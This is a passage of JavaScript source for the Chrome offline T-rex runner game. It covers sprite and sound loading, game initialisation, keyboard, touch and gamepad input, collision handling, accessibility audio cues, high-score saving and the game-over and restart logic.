  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
